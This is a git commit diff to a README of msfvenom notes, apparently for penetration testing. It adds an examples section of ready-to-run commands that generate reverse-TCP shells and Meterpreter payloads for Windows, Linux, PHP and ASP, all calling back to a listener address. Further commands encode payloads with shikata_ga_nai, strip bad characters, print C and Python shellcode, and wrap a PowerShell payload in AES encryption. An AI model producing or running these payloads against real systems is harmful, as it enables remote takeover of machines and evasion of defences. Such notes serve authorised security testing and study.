Update README.md
This commit is contained in:
@@ -1,6 +1,7 @@
|
|||||||
# MSFVenom Notes
|
# MSFVenom Notes
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
1. [Usage](#usage)
|
1. [Examples](#examples)
|
||||||
|
2. [Usage](#usage)
|
||||||
1. [Short Help](#short-help)
|
1. [Short Help](#short-help)
|
||||||
2. [Man Page](#man-page)
|
2. [Man Page](#man-page)
|
||||||
3. [Payloads](#payloads)
|
3. [Payloads](#payloads)
|
||||||
@@ -9,8 +10,43 @@
|
|||||||
6. [Formats](#formats)
|
6. [Formats](#formats)
|
||||||
7. [Encryptions](#encryption)
|
7. [Encryptions](#encryption)
|
||||||
8. [Encoders](#encoders)
|
8. [Encoders](#encoders)
|
||||||
2. [Links / Docs / Guides](#links)
|
3. [Links / Docs / Guides](#links)
|
||||||
3. [Copying / License](#copying)
|
4. [Copying / License](#copying)
|
||||||
|
## Examples
|
||||||
|
Simple 64-bit Windows Reverse TCP
|
||||||
|
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe`
|
||||||
|
|
||||||
|
Simple Linux (ELF) Reverse TCP Meterpreter payload
|
||||||
|
`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf`
|
||||||
|
|
||||||
|
Web Payload (PHP) Reverse TCP Meterpreter
|
||||||
|
`msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shell.php`
|
||||||
|
|
||||||
|
Web Payload (ASP) Reverse TCP Meterpreter
|
||||||
|
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f asp > shell.asp`
|
||||||
|
|
||||||
|
Encode (shika_ga_nai) Windows 64-bit Meterpreter reverse TCP
|
||||||
|
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x64/shikata_ga_nai -i 5 -f exe -o encoded_shell.exe`
|
||||||
|
|
||||||
|
Filter Bad Chars (nullbyte (\x00), newline (\x0a), carriage return (\x0d)) Windows reverse TCP Meterpreter
|
||||||
|
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b '\x00\x0a\x0d' -f exe -o clean_shell.exe`
|
||||||
|
|
||||||
|
Output C Style Shellcode
|
||||||
|
`msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c`
|
||||||
|
|
||||||
|
Output Python Style Shellcode
|
||||||
|
`msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f py -v payload`
|
||||||
|
|
||||||
|
Encrypt (Auto Key and IV)
|
||||||
|
note: 32 random bhytes is 256 bits and 16 bytes is the proper size of IV
|
||||||
|
```bash
|
||||||
|
msfvenom -p cmd/windows/powershell/meterpreter/reverse_tcp \
|
||||||
|
LHOST=192.168.1.50 LPORT=4444 \
|
||||||
|
--encrypt aes256 \
|
||||||
|
--encrypt-key "`openssl rand -hex 16`" \
|
||||||
|
--encrypt-iv "`openssl rand -hex 8`" \
|
||||||
|
-f powershell -o file.ps1
|
||||||
|
```
|
||||||
## Usage
|
## Usage
|
||||||
### Short Help
|
### Short Help
|
||||||
```
|
```
|
||||||
|
|||||||
Reference in New Issue
Block a user